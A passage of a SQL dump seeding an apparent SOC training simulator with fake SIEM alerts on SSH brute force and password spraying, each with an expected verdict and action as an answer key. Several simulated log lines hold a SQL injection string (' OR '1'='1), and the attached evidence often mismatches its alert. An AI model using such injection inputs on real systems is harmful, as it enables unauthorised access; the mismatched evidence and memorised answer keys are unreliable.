--\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.935Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.45\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1668, 'SSH Brute Force from Known Bad IP', 'critical', 'Azure Sentinel', 'SSH brute force detected from a high-reputation malicious IP targeting critical infrastructure.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:20:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"10.0.0.20\",\"username\":\"admin\",\"hostname\":\"infrastructure-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username in brute force attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The malicious history of the IP supports the detection of a true positive brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.936Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"infrastructure-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.936Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"infrastructure-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.936Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"infrastructure-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.936Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"infrastructure-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.936Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:20:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.99\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"infrastructure-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1669, 'Password Spraying Attempt on Corporate Web Portal', 'high', 'Splunk', 'Detected a series of failed login attempts from a single IP address against multiple user accounts on the web portal.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:30:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.0.2.55\",\"dst_ip\":\"192.168.1.25\",\"username\":\"user3\",\"hostname\":\"corporate-portal\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP frequently involved in password spraying\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The malicious IP reputation and pattern of login attempts confirm the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.938Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:30:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.55\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"user3\\\",\\\"hostname\\\":\\\"corporate-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.938Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:30:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.55\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"user3\\\",\\\"hostname\\\":\\\"corporate-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.938Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:30:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.55\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"user3\\\",\\\"hostname\\\":\\\"corporate-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.938Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:30:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.55\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"user3\\\",\\\"hostname\\\":\\\"corporate-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.938Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:30:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.55\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"user3\\\",\\\"hostname\\\":\\\"corporate-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1670, 'Multiple Failed SSH Logins from Suspicious IP', 'medium', 'Elastic SIEM', 'A suspicious IP address was observed making multiple failed SSH login attempts, resembling a brute force attack.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T16:40:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.120\",\"dst_ip\":\"10.0.0.30\",\"username\":\"admin\",\"hostname\":\"server1\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.120\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for SSH brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username in brute force attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s history of malicious activity confirms the attack as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.940Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:40:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.120\\\",\\\"dst_ip\\\":\\\"10.0.0.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.940Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:40:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.120\\\",\\\"dst_ip\\\":\\\"10.0.0.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.940Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:40:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.120\\\",\\\"dst_ip\\\":\\\"10.0.0.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.940Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:40:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.120\\\",\\\"dst_ip\\\":\\\"10.0.0.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.940Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:40:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.120\\\",\\\"dst_ip\\\":\\\"10.0.0.30\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1671, 'Suspicious Login Attempts Detected on Internal Network', 'medium', 'Wazuh', 'Detected multiple login failures from an external IP targeting internal resources, indicating a potential password spraying attack.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T17:15:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.66\",\"dst_ip\":\"192.168.1.35\",\"username\":\"employee\",\"hostname\":\"internal-portal\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.66\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for frequent login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"employee\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP\'s OSINT result confirms it as a malicious source, justifying the alert.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.941Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.66\\\",\\\"dst_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"employee\\\",\\\"hostname\\\":\\\"internal-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.941Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.66\\\",\\\"dst_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"employee\\\",\\\"hostname\\\":\\\"internal-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.941Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.66\\\",\\\"dst_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"employee\\\",\\\"hostname\\\":\\\"internal-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.941Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.66\\\",\\\"dst_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"employee\\\",\\\"hostname\\\":\\\"internal-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.941Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.66\\\",\\\"dst_ip\\\":\\\"192.168.1.35\\\",\\\"username\\\":\\\"employee\\\",\\\"hostname\\\":\\\"internal-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1672, 'Password Spraying Attack Against Internal Web Portal', 'high', 'Azure Sentinel', 'Detected a high number of failed login attempts from a single IP address across multiple user accounts.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:30:20Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.130\",\"dst_ip\":\"10.0.0.40\",\"username\":\"user4\",\"hostname\":\"internal-web\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.130\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP engaged in password spraying\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user4\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The malicious activity and OSINT results confirm the password spraying attack.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.943Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:30:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.130\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"user4\\\",\\\"hostname\\\":\\\"internal-web\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.943Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:30:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.130\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"user4\\\",\\\"hostname\\\":\\\"internal-web\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.943Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:30:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.130\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"user4\\\",\\\"hostname\\\":\\\"internal-web\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.943Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:30:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.130\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"user4\\\",\\\"hostname\\\":\\\"internal-web\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.943Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:30:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.130\\\",\\\"dst_ip\\\":\\\"10.0.0.40\\\",\\\"username\\\":\\\"user4\\\",\\\"hostname\\\":\\\"internal-web\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1673, 'SSH Brute Force Detected from Domestic IP', 'medium', 'Splunk', 'A domestic IP address was flagged for making multiple failed SSH login attempts to a server, indicating a possible brute force.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T19:05:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.99\",\"dst_ip\":\"10.0.0.50\",\"username\":\"root\",\"hostname\":\"domestic-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP flagged for unusual activity, but not malicious\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP activity was suspicious but not confirmed malicious, leading to the conclusion of a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T19:05:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"domestic-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T19:05:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"domestic-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.945Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 